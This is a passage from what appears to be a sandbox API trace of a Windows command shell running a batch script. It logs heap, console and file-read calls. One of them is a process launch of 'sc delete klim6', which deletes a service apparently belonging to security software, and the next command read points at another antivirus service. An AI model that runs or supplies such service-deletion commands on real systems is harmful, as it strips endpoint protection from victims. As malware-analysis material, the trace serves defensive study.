_MaxCount=0x7) returned 3 [0067.082] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0067.082] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0067.082] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0067.082] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0067.082] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0067.082] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0067.082] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0067.082] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0067.082] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0067.082] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0067.082] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0067.082] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0067.082] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0067.082] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0067.082] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0067.082] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0067.082] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0067.082] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0067.082] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0067.082] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0067.082] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0067.082] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0067.082] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0067.083] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0067.083] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0067.083] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0067.083] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0067.083] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0067.083] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0067.083] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0067.083] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0067.083] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0067.083] GetProcessHeap () returned 0x1b0000 [0067.083] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c4610 | out: hHeap=0x1b0000) returned 1 [0067.083] GetProcessHeap () returned 0x1b0000 [0067.083] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x12) returned 0x1c89d0 [0067.083] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete klim6", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x14ee70*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete klim6", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x14ee20 | out: lpCommandLine="sc delete klim6", lpProcessInformation=0x14ee20*(hProcess=0x54, hThread=0x50, dwProcessId=0xac0, dwThreadId=0xac8)) returned 1 [0067.087] CloseHandle (hObject=0x50) returned 1 [0067.087] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0067.087] GetProcessHeap () returned 0x1b0000 [0067.087] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cba10 | out: hHeap=0x1b0000) returned 1 [0067.087] GetEnvironmentStringsW () returned 0x1cba10* [0067.088] GetProcessHeap () returned 0x1b0000 [0067.088] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1d1b10 [0067.088] FreeEnvironmentStringsW (penv=0x1cba10) returned 1 [0067.088] NtQueryInformationProcess (in: ProcessHandle=0x54, ProcessInformationClass=0x0, ProcessInformation=0x14e728, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x14e728, ReturnLength=0x0) returned 0x0 [0067.088] ReadProcessMemory (in: hProcess=0x54, lpBaseAddress=0x7fffffde000, lpBuffer=0x14e760, nSize=0x380, lpNumberOfBytesRead=0x14e720 | out: lpBuffer=0x14e760*, lpNumberOfBytesRead=0x14e720*=0x380) returned 1 [0067.089] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff) returned 0x0 [0067.146] GetExitCodeProcess (in: hProcess=0x54, lpExitCode=0x14ed68 | out: lpExitCode=0x14ed68*=0x424) returned 1 [0067.146] CloseHandle (hObject=0x54) returned 1 [0067.146] _vsnwprintf (in: _Buffer=0x14efd8, _BufferCount=0x13, _Format="%08X", _ArgList=0x14ed78 | out: _Buffer="00000424") returned 8 [0067.146] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0067.146] GetProcessHeap () returned 0x1b0000 [0067.146] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1d1b10 | out: hHeap=0x1b0000) returned 1 [0067.147] GetEnvironmentStringsW () returned 0x1d1b10* [0067.147] GetProcessHeap () returned 0x1b0000 [0067.147] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1cba10 [0067.147] FreeEnvironmentStringsW (penv=0x1d1b10) returned 1 [0067.147] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0067.147] GetProcessHeap () returned 0x1b0000 [0067.147] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cba10 | out: hHeap=0x1b0000) returned 1 [0067.147] GetEnvironmentStringsW () returned 0x1cba10* [0067.147] GetProcessHeap () returned 0x1b0000 [0067.147] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1d1b10 [0067.147] FreeEnvironmentStringsW (penv=0x1cba10) returned 1 [0067.147] GetProcessHeap () returned 0x1b0000 [0067.147] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c89d0 | out: hHeap=0x1b0000) returned 1 [0067.147] DeleteProcThreadAttributeList (in: lpAttributeList=0x14ee38 | out: lpAttributeList=0x14ee38) [0067.147] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0067.148] _get_osfhandle (_FileHandle=1) returned 0x120 [0067.148] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0067.148] _get_osfhandle (_FileHandle=1) returned 0x120 [0067.148] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x4a82e194 | out: lpMode=0x4a82e194) returned 0 [0067.148] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.148] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x4a82e198 | out: lpMode=0x4a82e198) returned 0 [0067.148] GetConsoleOutputCP () returned 0x1b5 [0067.148] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a83bfe0 | out: lpCPInfo=0x4a83bfe0) returned 1 [0067.148] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0067.148] GetProcessHeap () returned 0x1b0000 [0067.148] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9b30 | out: hHeap=0x1b0000) returned 1 [0067.148] GetProcessHeap () returned 0x1b0000 [0067.148] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1b1ab0 | out: hHeap=0x1b0000) returned 1 [0067.148] GetProcessHeap () returned 0x1b0000 [0067.148] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c5b70 | out: hHeap=0x1b0000) returned 1 [0067.148] GetProcessHeap () returned 0x1b0000 [0067.148] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cc530 | out: hHeap=0x1b0000) returned 1 [0067.149] GetProcessHeap () returned 0x1b0000 [0067.149] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c6550 | out: hHeap=0x1b0000) returned 1 [0067.149] GetProcessHeap () returned 0x1b0000 [0067.149] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9910 | out: hHeap=0x1b0000) returned 1 [0067.149] GetProcessHeap () returned 0x1b0000 [0067.149] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c6510 | out: hHeap=0x1b0000) returned 1 [0067.149] GetProcessHeap () returned 0x1b0000 [0067.149] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c89b0 | out: hHeap=0x1b0000) returned 1 [0067.149] GetProcessHeap () returned 0x1b0000 [0067.149] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1d4660 | out: hHeap=0x1b0000) returned 1 [0067.149] _vsnwprintf (in: _Buffer=0x4a846340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x14f298 | out: _Buffer="\r\n") returned 2 [0067.149] _get_osfhandle (_FileHandle=1) returned 0x120 [0067.149] GetFileType (hFile=0x120) returned 0x3 [0067.149] _get_osfhandle (_FileHandle=1) returned 0x120 [0067.149] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0067.149] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x14f268, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f268*=0x2, lpOverlapped=0x0) returned 1 [0067.149] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0067.149] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a83c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0067.149] _vsnwprintf (in: _Buffer=0x4a82eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x14f2a8 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0067.149] _vsnwprintf (in: _Buffer=0x4a82ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x14f2a8 | out: _Buffer=">") returned 1 [0067.149] _get_osfhandle (_FileHandle=1) returned 0x120 [0067.149] GetFileType (hFile=0x120) returned 0x3 [0067.149] _get_osfhandle (_FileHandle=1) returned 0x120 [0067.149] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0067.149] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x14f298, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f298*=0x26, lpOverlapped=0x0) returned 1 [0067.149] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.149] GetFileType (hFile=0xb8) returned 0x3 [0067.150] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.150] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.150] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0067.150] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e320, cchWideChar=1 | out: lpWideCharStr="sc delete klim6\nresql-x64-9.4\"\n\nA\"\n") returned 1 [0067.150] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.150] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.150] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0067.150] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e322, cchWideChar=1 | out: lpWideCharStr="c delete klim6\nresql-x64-9.4\"\n\nA\"\n") returned 1 [0067.150] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.150] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.150] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0067.150] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e324, cchWideChar=1 | out: lpWideCharStr=" delete klim6\nresql-x64-9.4\"\n\nA\"\n") returned 1 [0067.150] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.150] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.150] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0067.150] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e326, cchWideChar=1 | out: lpWideCharStr="delete klim6\nresql-x64-9.4\"\n\nA\"\n") returned 1 [0067.150] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.150] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.150] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0067.150] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e328, cchWideChar=1 | out: lpWideCharStr="elete klim6\nresql-x64-9.4\"\n\nA\"\n") returned 1 [0067.151] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.151] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.151] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0067.151] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32a, cchWideChar=1 | out: lpWideCharStr="lete klim6\nresql-x64-9.4\"\n\nA\"\n") returned 1 [0067.151] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.151] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.151] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0067.151] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32c, cchWideChar=1 | out: lpWideCharStr="ete klim6\nresql-x64-9.4\"\n\nA\"\n") returned 1 [0067.151] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.151] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.151] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0067.151] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32e, cchWideChar=1 | out: lpWideCharStr="te klim6\nresql-x64-9.4\"\n\nA\"\n") returned 1 [0067.151] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.151] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.151] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0067.151] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e330, cchWideChar=1 | out: lpWideCharStr="e klim6\nresql-x64-9.4\"\n\nA\"\n") returned 1 [0067.151] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.151] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.151] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0067.151] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e332, cchWideChar=1 | out: lpWideCharStr=" klim6\nresql-x64-9.4\"\n\nA\"\n") returned 1 [0067.151] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.151] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.151] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0067.152] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e334, cchWideChar=1 | out: lpWideCharStr="\"lim6\nresql-x64-9.4\"\n\nA\"\n") returned 1 [0067.152] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.152] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.152] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0067.152] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e336, cchWideChar=1 | out: lpWideCharStr="Aim6\nresql-x64-9.4\"\n\nA\"\n") returned 1 [0067.152] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.152] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.152] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0067.152] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e338, cchWideChar=1 | out: lpWideCharStr="Vm6\nresql-x64-9.4\"\n\nA\"\n") returned 1 [0067.152] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.152] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.152] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0067.152] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33a, cchWideChar=1 | out: lpWideCharStr="P6\nresql-x64-9.4\"\n\nA\"\n") returned 1 [0067.152] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.152] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.152] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0067.152] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33c, cchWideChar=1 | out: lpWideCharStr="1\nresql-x64-9.4\"\n\nA\"\n") returned 1 [0067.152] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.152] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.152] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0067.152] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33e, cchWideChar=1 | out: lpWideCharStr="8resql-x64-9.4\"\n\nA\"\n") returned 1 [0067.152] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.152] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.152] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0067.153] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e340, cchWideChar=1 | out: lpWideCharStr=".esql-x64-9.4\"\n\nA\"\n") returned 1 [0067.153] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.153] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.153] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0067.153] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e342, cchWideChar=1 | out: lpWideCharStr="0sql-x64-9.4\"\n\nA\"\n") returned 1 [0067.153] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.153] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.153] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0067.153] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e344, cchWideChar=1 | out: lpWideCharStr=".ql-x64-9.4\"\n\nA\"\n") returned 1 [0067.153] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.153] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.153] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0067.153] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e346, cchWideChar=1 | out: lpWideCharStr="0l-x64-9.4\"\n\nA\"\n") returned 1 [0067.153] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.153] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.153] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0067.153] 